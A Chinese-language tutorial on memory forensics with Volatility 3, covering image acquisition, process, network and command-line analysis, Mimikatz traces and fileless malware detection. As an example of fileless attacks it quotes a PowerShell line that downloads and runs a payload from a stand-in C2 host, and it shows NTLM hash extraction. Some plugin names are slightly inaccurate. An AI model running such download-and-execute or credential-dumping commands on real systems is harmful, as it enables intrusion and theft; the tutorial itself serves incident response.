引言
内存取证(Memory Forensics)是数字取证中最重要的技术分支之一。与传统的磁盘取证不同,内存取证针对的是系统运行时的易失性数据——正在运行的进程、加载的内核模块、网络连接、加密密钥、以及攻击者留下的内存驻留恶意代码。
当攻击者使用无文件恶意软件(Fileless Malware)时,硬盘上可能不会留下任何恶意文件,但内存中一定存在证据。这也是为什么内存取证在 APT 追踪和应急响应中不可替代。
内存获取
取证的第一步是获取内存镜像。这一步的关键原则是:不能关闭计算机,否则内存数据会全部丢失。
不同平台的获取工具
| 平台 | 工具 | 命令示例 |
|---|---|---|
| Windows | DumpIt / FTK Imager | DumpIt.exe |
| Windows | WinPmem | winpmem_mini_x64.exe mem.raw |
| Linux | LiME | insmod lime.ko path=mem.lime format=lime |
| Linux | avml | avml mem.raw |
| macOS | macOS Desktop | osxpmem mem.raw |
| 虚拟机 | Hyper-V / ESXi | 直接复制 .vmem / .vmss 文件 |
获取时的注意事项
获取内存镜像时有几个容易踩的坑:
- 存储介质选择:不要将镜像写入可能包含证据的磁盘,应写入外部存储
- Hash 校验:获取完成后立即计算 SHA256 哈希值,确保证据完整性
- 写入工具本身:取证工具运行时会在内存中留下自身进程信息,这是正常的
- 休眠文件:如果系统处于休眠状态,
C:\hiberfil.sys就是内存的完整快照
Volatility 环境搭建
Volatility 3 是当前最新的版本,使用 Python 3 重写,不需要配置文件,自动识别操作系统:
# 安装 Volatility 3
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# 基础使用
python3 vol.py -f mem.raw windows.info
核心分析技术
进程列表分析
列出所有进程是内存分析的起点:
# 列出所有进程(Volatility 3)
python3 vol.py -f mem.raw windows.pslist
# 列出进程树(显示父子关系)
python3 vol.py -f mem.raw windows.pstree
# 扫描隐藏进程(使用备选算法)
python3 vol.py -f mem.raw windows.psxview
关注点:
- 名称可疑的进程(svch0st.exe vs svchost.exe)
- 异常父进程(如 cmd.exe 由 Word 进程启动)
- 隐藏进程(pslist 中没有但 psxview 中存在的进程)
网络连接分析
# 查看网络连接
python3 vol.py -f mem.raw windows.netscan
# 查看 Socket 信息
python3 vol.py -f mem.raw windows.sockets
网络连接是发现 C2(指挥控制)通信的直接途径。关注以下特征:
- 连接外部不常见 IP 的进程
- 使用非标准端口的通信(如从 8088 端口连接到 53 端口的 DNS 流量)
- 等保合规要求中通常会检查是否存在异常的对外连接
进程内存转储
发现可疑进程后,将其内存空间导出做进一步分析:
# 转储指定 PID 的内存
python3 vol.py -f mem.raw windows.dumpfiles --pid 1234
# 转储进程完整的虚拟地址空间
python3 vol.py -f mem.raw windows.memmap --pid 1234 --dump
导出的内存中可能包含:
- 攻击者输入的明文命令
- 解密的网络流量
- Base64 编码的 Payload
- 屏幕截图和剪贴板数据
密码哈希提取
python3 vol.py -f mem.raw windows.hashdump
这条命令提取的是 SAM 注册表项中的 NTLM 哈希。与直接读取磁盘 SAM 文件不同,内存中提取的哈希不需要绕过系统保护。
命令行历史
# 查看进程的命令行参数
python3 vol.py -f mem.raw windows.cmdline
# Windows 控制台历史
python3 vol.py -f mem.raw windows.cmdscan
python3 vol.py -f mem.raw windows.consoles
攻击者常用的 PowerShell 命令会完整记录在控制台缓冲区内,即使命令历史已被清除。
实战案例:Mimikatz 痕迹分析
Mimikatz 是常用的凭证提取工具,它在内存中的典型痕迹包括:
# 1. 查找可疑进程
python3 vol.py -f mem.raw windows.pstree
# 注意 lsass.exe 是否有异常的父进程或子进程
# 2. 转储 LSASS 进程内存
python3 vol.py -f mem.raw windows.dumpfiles --pid $(lsass PID)
# 3. 搜索 Mimikatz 字符串特征
python3 vol.py -f mem.raw windows.strings --pid $(lsass PID) | grep -i "mimikatz\|sekurlsa\|wdigest"
# 4. 导出 NTLM 哈希验证
python3 vol.py -f mem.raw windows.hashdump
检测无文件恶意软件
无文件恶意软件的特点是:不在磁盘上写入可执行文件,完全在内存中运行。典型的场景包括:
- PowerShell 远程加载:
IEX(New-Object Net.WebClient).DownloadString('http://c2/payload.ps1') - WMI 持久化:通过 WMI 事件订阅执行恶意代码
- 注册表运行键:直接写入注册表,不写文件
在 Volatility 中检测无文件攻击的方法:
# 扫描异常的网络连接
python3 vol.py -f mem.raw windows.netscan
# 检查进程令牌
python3 vol.py -f mem.raw windows.privileges
# 查看加载的 DLL
python3 vol.py -f mem.raw windows.dlllist --pid <可疑PID>
# 扫描内存中的恶意代码
python3 vol.py -f mem.raw windows.malfind
malfind 是检测内存中可执行代码注入的核心插件。它扫描那些被标记为可读可写可执行(RWX)的内存页,这些页面通常不会出现在正常的应用内存中。
时间线重建
时间线重建(Timelining)是取证报告的关键部分:
# Volatility 3 时间线
python3 vol.py -f mem.raw windows.timeliner
时间线可以帮助分析人员回答以下问题:
- 攻击者何时获取了系统访问权限?
- 恶意进程何时启动、何时退出?
- 数据泄露发生在什么时间窗口?
总结
内存取证是实战化安全分析的核心技能。掌握 Volatility 的关键不在于背命令,而是理解操作系统在内存中的数据结构——进程、线程、句柄、内存映射之间的关系。
对于初学者,建议依次掌握:
- 进程分析:pslist、pstree、psxview
- 网络分析:netscan
- 文件提取:dumpfiles
- 恶意代码检测:malfind
- 凭证提取:hashdump
每一次应急响应,内存取证都是回答"发生了什么"的关键技术。把上述工具链掌握好,大部分常见的入侵事件都能还原出完整的攻击链条。